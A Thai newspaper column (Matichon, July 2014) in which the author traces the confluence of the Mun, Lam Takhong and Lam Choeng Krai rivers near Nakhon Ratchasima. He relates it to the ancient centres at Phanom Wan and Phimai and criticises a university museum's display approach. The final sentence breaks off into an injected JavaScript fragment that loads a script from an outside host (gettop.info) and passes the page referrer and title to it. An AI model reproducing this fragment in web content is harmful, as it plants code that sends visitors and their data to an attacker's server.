Download PDF

มติชนรายวัน ฉบับประจำวันศุกร์ที่ 25 กรกฎาคม 2557

 

ชุมทางต้นน้ำมูล ที่โคราช

          วันเสาร์ที่ 19 กรกฎาคม ที่ผ่านมา ผมนั่งรถตู้ตระเวนหัวหกก้นขวิดตุปัดตุเป๋คนเดียวอยู่ที่ฝายบ้านส้ม(ตะกุดเวียน) หมู่ 2 บ้านส้ม ต. ดอนชมพู อ. โนนสูง  จ. นครราชสีมา

          เพื่อตามล่าหาปลายน้ำลำเชิงไกร ที่ไหลไปตกน้ำมูล จนพบอยู่กลางทุ่ง ห่างฝายไปทางทิศตะวันออก ใกล้ไปทางปราสาทพนมวัน

          แต่ล้าหลังทางเทคโนโลยี จึงไม่มีกล้องถ่ายรูป เพราะถึงมีก็ทำไม่เป็น เลยไม่มีรูปมาแบ่งปันให้เห็นเป็นพยาน

          จากนั้นนั่งรถกระโดกกระเดกไปตามถนนดินที่ถมขึ้นมาเลียบน้ำมูลขึ้นไปทางทิศเหนือ เข้าบ้านสัมฤทธิ์(ใกล้ไปทางปราสาทพิมาย) ที่นี่มีทุ่งสัมฤทธิ์ในนิยายเรื่องวีรกรรมทุ่งสัมฤทธิ์ รถตู้เกาหลีฮุนไดใช้งานนี้มีประสิทธิภาพสุดยอด

          ที่ต้องไปตระเวนซ้ำแล้วซ้ำอีกหลายครั้ง เพราะต้องการทำความเข้าใจบริเวณชุมทางลำน้ำ 3 สายมาสบกัน ซึ่งจะส่งผลผลักดันให้มีพัฒนาการเป็นบ้านเมืองใหญ่โตตั้งแต่ราวหลัง พ.ศ. 1000 ในที่สุดก็เป็น นครราชสีมา

          ชุมทางต้นน้ำมูล เป็นบริเวณที่ราบลุ่มๆดอนๆโดยรอบปริมณฑล อ. เมือง ต่อเนื่องถึง อ. พิมาย จ. นครราชสีมา

          มีศูนย์กลางครั้งแรกอยู่บริเวณปราสาทพนมวัน หลังจากนั้นจึงเคลื่อนไปที่ปราสาทพิมาย(ปราสาทพนมวันมีอายุเก่ากว่าปราสาทพิมาย)

          บริเวณมีลำน้ำ 3 สายมาสบกัน คือ

          1. ลำน้ำมูล ไหลจากทิวเขาพนมดงรัก อยู่ทางด้านทิศใต้ ผ่าน อ. ครบุรี, อ. เสิงสาง ไปทางเหนือ

          2. ลำตะคอง ไหลจากทิวเขาใหญ่อยู่ทางทิศตะวันตกเฉียงใต้ ผ่าน อ. ปากช่อง ไปทางทิศตะวันออก ผ่าน อ. สีคิ้ว, อ. สูงเนิน, ฯลฯ ตกน้ำมูลที่ท่าช้าง(แหล่งที่พบฟอสซิลช้างล้านปีจำนวนมาก)

          ต่อไปข้างหน้า ตรงที่ลำตะคองไหลตกลำน้ำมูลจะมีปราสาทพนมวัน และเมืองโคราช

          3. ลำเชิงไกร ไหลจากแหล่งน้ำทางทิศตะวันตก ผ่าน อ. ด่านขุนทด ไปทางทิศตะวันออก ผ่าน อ. โดนไทย, อ. โนนสูง, ฯลฯ

          ต่อไปข้างหน้า ตรงที่ลำเชิงไกรไหลตกน้ำมูลจะมีปราสาทพิมายและเมืองพิมาย

          ผู้ใจดีมีเมตตาเอาเอกสารไปฝากให้อ่าน ชื่อพิพิธภัณฑ์เมืองนครราชสีมา ของ สำนักศิลปะและวัฒนธรรม มหาวิทยาลัยราชภัฏนครราชสีมา มีบอกด้วยว่า “ปรับปรุงเมื่อ 1 มิถุนายน 2557”

          ในเอกสารบอกว่าการจัดแสดงแบ่งออกเป็น 8 ห้อง เช่น กำเนิดอารยธรรม, สมัยทวารวดี, สมัยลพบุรี, สมัยอยุธยา, สมัยรัตนโกสินทร์, ฯลฯ (ไม่มีสมัยธนบุรี)

          ผมอ่านแล้วเห็นงามและขอสนับสนุนให้ทำกิจกรรมแบ่งปันวิชาความรู้อย่างนี้อีก

          แต่เป็นพิพิธภัณฑ์จัดแสดงตามแนวทาง“ประวัติศาสตร์ศิลปะ ยุคอาณานิคม” ที่นิยมกันในพิพิธภัณฑสถานแห่งชาติของประเทศไทย

          ซึ่งมหาวิทยาลัยไม่ควรทำตาม เพราะไม่ใช่แนวทางก้าวหน้าทางวิชาการ และมีข้อบกพร่องมากจนทั่วโลกไม่ทำแล้ว

          แต่ต้องขอประทานโทษล่วงหน้า นี่เป็นความเห็นจากอ่านเอกสารที่มีผู้เมตตาเอามาฝากเท่านั้น ยังไม่เคยดูการจัดแสดงจริง}s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;